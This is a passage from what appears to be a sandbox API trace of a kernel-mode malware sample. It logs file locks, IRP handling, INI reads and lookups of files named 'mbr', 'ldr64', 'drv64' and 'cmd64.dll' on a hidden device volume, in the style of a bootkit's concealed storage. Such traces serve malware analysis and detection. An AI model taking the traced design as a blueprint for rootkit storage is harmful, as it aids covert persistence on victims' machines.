FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.842] KeLeaveCriticalRegion () [0121.842] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.842] KeEnterCriticalRegion () [0121.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.842] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.842] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.842] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.842] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.842] IdePortDispatch () returned 0x103 [0121.842] KeWaitForMutexObject () returned 0x0 [0121.842] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.842] KeLeaveCriticalRegion () [0121.842] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.842] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.842] KeEnterCriticalRegion () [0121.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.843] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be1000 [0121.843] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.843] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.843] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.843] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.843] IdePortDispatch () returned 0x103 [0121.843] KeWaitForMutexObject () returned 0x0 [0121.843] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.843] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.843] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.843] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.843] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.843] IdePortDispatch () returned 0x103 [0121.843] KeWaitForMutexObject () returned 0x0 [0121.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.843] KeLeaveCriticalRegion () [0121.843] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.844] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.844] KeEnterCriticalRegion () [0121.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.844] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.844] KeLeaveCriticalRegion () [0121.844] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.844] KeEnterCriticalRegion () [0121.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.844] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.844] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.844] KeLeaveCriticalRegion () [0121.844] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.844] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.844] KeEnterCriticalRegion () [0121.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.844] ExFreePoolWithTag (P=0xfffffa8003bbdf10, Tag=0x0) [0121.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.844] KeLeaveCriticalRegion () [0121.844] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.844] ReleaseMutex (hMutex=0xf0) returned 1 [0121.844] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.844] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.844] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.844] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.844] KeEnterCriticalRegion () [0121.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.844] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.844] IdePortDispatch () returned 0x103 [0121.844] KeWaitForMutexObject () returned 0x0 [0121.845] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.845] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.845] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.845] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.845] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.845] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.845] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.845] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.845] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.845] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.845] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.845] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.845] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.845] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.845] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.845] KeLeaveCriticalRegion () [0121.845] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.845] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.845] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.845] KeEnterCriticalRegion () [0121.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.845] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.845] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.845] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.845] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.845] IdePortDispatch () returned 0x103 [0121.845] KeWaitForMutexObject () returned 0x0 [0121.845] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.845] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.845] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.845] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.845] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.845] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.845] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.845] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.845] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.845] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.845] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.845] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.846] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.846] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.846] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.846] KeLeaveCriticalRegion () [0121.846] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.846] ReleaseMutex (hMutex=0x100) returned 1 [0121.846] Sleep (dwMilliseconds=0x2bf20) [0121.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bd32bf0, dwHighDateTime=0x1d24fa4)) [0121.852] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.852] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.852] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.853] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.853] KeEnterCriticalRegion () [0121.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.853] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.853] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.853] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.853] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.853] IdePortDispatch () returned 0x103 [0121.853] KeWaitForMutexObject () returned 0x0 [0121.853] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.853] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.853] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.853] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.853] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.853] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6f10 [0121.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.853] KeLeaveCriticalRegion () [0121.853] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.853] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.853] KeEnterCriticalRegion () [0121.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.853] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.853] KeLeaveCriticalRegion () [0121.853] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.853] KeEnterCriticalRegion () [0121.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.853] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.854] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.854] IdePortDispatch () returned 0x103 [0121.854] KeWaitForMutexObject () returned 0x0 [0121.854] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.854] KeLeaveCriticalRegion () [0121.854] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.854] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.854] KeEnterCriticalRegion () [0121.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.854] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be4000 [0121.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.854] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.854] IdePortDispatch () returned 0x103 [0121.854] KeWaitForMutexObject () returned 0x0 [0121.854] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.854] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.854] IdePortDispatch () returned 0x103 [0121.854] KeWaitForMutexObject () returned 0x0 [0121.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.855] KeLeaveCriticalRegion () [0121.855] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.855] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.855] KeEnterCriticalRegion () [0121.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.855] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.855] KeLeaveCriticalRegion () [0121.855] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.855] KeEnterCriticalRegion () [0121.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.855] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.855] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.855] KeLeaveCriticalRegion () [0121.855] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.855] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.855] KeEnterCriticalRegion () [0121.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.855] ExFreePoolWithTag (P=0xfffffa8003bc6f10, Tag=0x0) [0121.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.855] KeLeaveCriticalRegion () [0121.855] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.856] ReleaseMutex (hMutex=0xf0) returned 1 [0121.856] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.856] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.856] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.856] KeEnterCriticalRegion () [0121.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.856] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.856] IdePortDispatch () returned 0x103 [0121.856] KeWaitForMutexObject () returned 0x0 [0121.856] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.856] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.856] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.856] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.856] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.856] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2f60 [0121.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.856] KeLeaveCriticalRegion () [0121.856] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.856] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.856] KeEnterCriticalRegion () [0121.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.856] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.856] KeLeaveCriticalRegion () [0121.856] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.856] KeEnterCriticalRegion () [0121.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.856] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.856] IdePortDispatch () returned 0x103 [0121.857] KeWaitForMutexObject () returned 0x0 [0121.857] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.857] KeLeaveCriticalRegion () [0121.857] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.857] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.857] KeEnterCriticalRegion () [0121.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.857] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be5000 [0121.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.857] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.857] IdePortDispatch () returned 0x103 [0121.857] KeWaitForMutexObject () returned 0x0 [0121.857] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.857] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.857] IdePortDispatch () returned 0x103 [0121.857] KeWaitForMutexObject () returned 0x0 [0121.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.858] KeLeaveCriticalRegion () [0121.858] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.858] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.858] KeEnterCriticalRegion () [0121.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.858] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.858] KeLeaveCriticalRegion () [0121.858] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.858] KeEnterCriticalRegion () [0121.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.858] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.858] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.858] 